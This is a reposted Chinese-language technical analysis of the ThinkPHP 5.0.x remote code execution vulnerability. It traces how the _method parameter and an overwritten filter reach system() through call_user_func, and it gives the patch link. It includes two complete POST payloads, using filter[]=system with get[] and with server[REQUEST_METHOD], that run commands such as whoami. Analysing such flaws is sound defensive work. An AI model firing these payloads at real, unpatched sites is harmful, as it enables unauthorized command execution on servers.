5

ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析

 2 years ago
source link: https://chybeta.github.io/2019/01/13/ThinkPHP-5-0-0-5-0-23-RCE-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

2019年1月11日,ThinkPHP官方发布安全更新,修复了一个GETSHELL漏洞。现分析如下。

以 thinkphp 5.0.22 完整版为例,下载地址:http://www.thinkphp.cn/down/1260.html

未开启调试模式。

http://127.0.0.1/thinkphp/thinkphp_5.0.22_with_extend/public/index.php?s=captcha
POST:
_method=__construct&filter[]=system&method=get&get[]=whoami

漏洞分析之POC 1

先整体的看一下这个流程,tp程序从 App.php文件开始,其中截取部分如下:

* 执行应用程序
* @access public
* @param Request $request 请求对象
* @return Response
* @throws Exception
public static function run(Request $request = null)
$request = is_null($request) ? Request::instance() : $request;
// 获取应用调度信息
$dispatch = self::$dispatch;
// 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
$data = self::exec($dispatch, $config);
} catch (HttpResponseException $exception) {

App.php中,会根据请求的URL调用routeCheck进行调度解析获得到$dispatch,之后将进入exec($dispatch, $config)根据$dispatch类型的不同来进行处理。

在payload中,访问的url为index.php?s=captcha。在vendor/topthink/think-captcha/src/helper.php中captcha注册了路由,

因此其对应的dispatchmethod

一步步跟入,其调用栈如下:

通过调用Request类中的method方法来获取当前的http请求类型,这里顺便贴一下该方法被调用之处:

该函数的实现在 thinkphp/library/think/Request.php:512

* 当前的请求类型
* @access public
* @param bool $method true 获取原始请求类型
* @return string
public function method($method = false)
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
return $this->method;

在tp的默认中配置中设置了表单请求类型伪装变量如下

因此通过POST一个_method参数,即可进入判断,并执行$this->{$this->method}($_POST)语句。因此通过指定_method即可完成对该类的任意方法的调用,其传入对应的参数即对应的$_POST数组

Request类的构造函数__construct代码如下

protected function __construct($options = [])
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
// 保存 php://input
$this->input = file_get_contents('php://input');

利用foreach循环,和POST传入数组即可对Request对象的成员属性进行覆盖。其中$this->filter保存着全局过滤规则。经过覆盖,相关变量变为:

$this
method = "get"
get = {array} [0]
0 = dir
filter = {array} [0]
0 = system

注意我们请求的路由是?s=captcha,它对应的注册规则为\think\Route::get。在method方法结束后,返回的$this->method值应为get这样才能不出错,所以payload中有个method=get。在进行完路由检测后,执行self::exec($dispatch, $config),在thinkphp/library/think/App.php:445,由于$dispatch值为method,将会进入如下分支:

protected static function exec($dispatch, $config)
switch ($dispatch['type']) {
case 'method': // 回调方法
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = self::invokeMethod($dispatch['method'], $vars);
break;
return $data;

跟入Request::instance()->param(),该方法用于处理请求中的各种参数。

public function param($name = '', $default = null, $filter = '')
if (empty($this->mergeParam)) {
$method = $this->method(true);
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
return $this->input($this->param, $name, $default, $filter);

如上方法中$this->param通过array_merge将当前请求参数和URL地址中的参数合并。回忆一下前面已经通过__construct设置了$this->getdir。此后$this->param其值被设置为:

继续跟入$this->input:

public function input($data = [], $name = '', $default = null, $filter = '')
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);

该方法用于对请求中的数据即接收到的参数进行过滤,而过滤器通过$this->getFilter获得:

protected function getFilter($filter, $default)
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
$filter[] = $default;
return $filter;

前面$this->filter已经被设置为system,所以getFilter返回后$filter值为:

回到input函数,由于$data是前面传入的$this->param即数组,所以接着会调用array_walk_recursive($data, [$this, 'filterValue'], $filter),对$data中的每一个值调用filterValue函数,最终调用了call_user_func执行代码:

扩展之POC 2

回想前面的调用链,param -> method -> input -> getFilter -> rce。因为filter可控,而tp的逻辑会对输入即input进行filter过滤,所以重点是找到一个合理的input入口。

回到param方法:

public function param($name = '', $default = null, $filter = '')
if (empty($this->mergeParam)) {
$method = $this->method(true);

跟入$this->method(true)注意此时的参数为true,所以此处会进入第一个分支:

public function method($method = false)
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';

继续跟入$this->server,可以发现这里也有一个input!

public function server($name = '', $default = null, $filter = '')
if (empty($this->server)) {
$this->server = $_SERVER;
if (is_array($name)) {
return $this->server = array_merge($this->server, $name);
return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);

所以对input方法而言,其$data$this->server数组,其参数name值为REQUEST_METHOD,在input方法源码如下:

public function input($data = [], $name = '', $default = null, $filter = '')
$name = (string) $name;
if ('' != $name) {
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
// 无输入数据,返回默认值
return $default;
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);

因此利用前面的__construct,可以通过传入server[REQUEST_METHOD]=dir,使得在经过foreach循环时置$data值为dir,此后调用getFilter,同样实现RCE:

给出payload:

http://127.0.0.1/thinkphp/thinkphp_5.0.22_with_extend/public/index.php?s=captcha
POST:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

补丁地址:https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003

问题的根源在于请求方法的获取接收了不可信数据,因此补丁中设置了白名单,如下

这里仅仅测试了5.0.22 完整版本。各个版本之间代码有些许差异,payload不一定通用,建议自己调试调试。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK